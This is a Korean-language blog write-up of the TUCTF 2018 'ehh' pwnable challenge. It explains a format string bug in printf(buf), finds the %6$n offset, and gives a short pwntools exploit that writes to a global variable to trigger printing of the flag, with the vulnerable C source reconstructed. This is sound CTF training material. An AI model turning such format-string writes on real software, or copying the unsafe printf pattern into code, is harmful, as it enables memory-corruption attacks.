제리의 블로그

TUCTF 2018 PWN ehh 본문

CTF/pwnable

TUCTF 2018 PWN ehh

j3rrry 2018. 11. 26. 20:44

TUCTF 2018 PWN ehh



    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled


$ file ./ehh
./ehh: ELF 32-bit LSB pie executable Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d50965fb2cafc7eb26ecbce94385e870a05d02eb, not stripped


$ ./ehh
>Input interesting text here< 0x5664c028
ease
ease
dV


int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+0h] [bp-20h]@1
  int *v5; // [sp+1Ch] [bp-4h]@1

  v5 = &argc;
  setvbuf(stdout, 0, 2, 0x14u);
  setvbuf(stdin, 0, 2, 0x14u);
  printf(">Input interesting text here< %p\n", &val);
  read(0, &buf, 0x18u);
  printf(&buf);
  if ( val == 24 )
    system("/bin/cat ./flag");
  return 0;
}

분석해보니 val 은 전역변수였다.

그리고 포맷스트링버그가 있다. (FSB)




1. val 의 오프셋이 계속 변한다.

이번 바이너리는 PIE enabled 이기 때문이다.

2. "%{}$n" 몇번째인지 알아내야 한다.

3. "%24c%{}$n" 포맷스트링 공격을 한다.




val 의 오프셋은 파이썬 스크립트로 recv() 하도록 하고

몇번째인지만 알면 공격할 수 있다.



$ ./ehh
>Input interesting text here< 0x56592028
%p %p %p %p %p %p %p
0xff864c98 0x18 (nil) 0xf7f3c3fc 0x56592000 0x25207025 0x70252070
$ ./ehh
>Input interesting text here< 0x56640028
AAAA%6$p
AAAA0x41414141
"%6$n" 6번째라는 것을 알아냈다.




from pwn import *

r = remote('18.222.213.102', 12345)
r.recvuntil('< ')
val = int(r.recvline(), 16)
r.sendline(p32(val)+'%20c%6$n')
r.interactive()


// gcc -o ehh ehh.c -m32
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int val;

int main(int argc, const char **argv)
{
  char buf[0x20-4]; // [sp+0h] [bp-20h]@1
  int *v5; // [sp+1Ch] [bp-4h]@1

  v5 = &argc;
  setvbuf(stdout, 0, 2, 0x14u);
  setvbuf(stdin, 0, 2, 0x14u);
  printf(">Input interesting text here< %p\n", &val);
  read(0, buf, 0x18u);
  printf(buf);
  if ( val == 0x18 )
    system("/bin/cat ./flag");
  return 0;
}


'CTF > pwnable' 카테고리의 다른 글

TUCTF 2018 PWN shella-hard  (0) 2018.11.27
TUCTF 2018 PWN Canary  (0) 2018.11.26
TUCTF 2018 PWN shella-easy  (0) 2018.11.26
picoCTF 2018 are you root? Binary Exploit  (0) 2018.11.02
SECCON CTF 2018 quals Classic Pwn  (0) 2018.10.28
Comments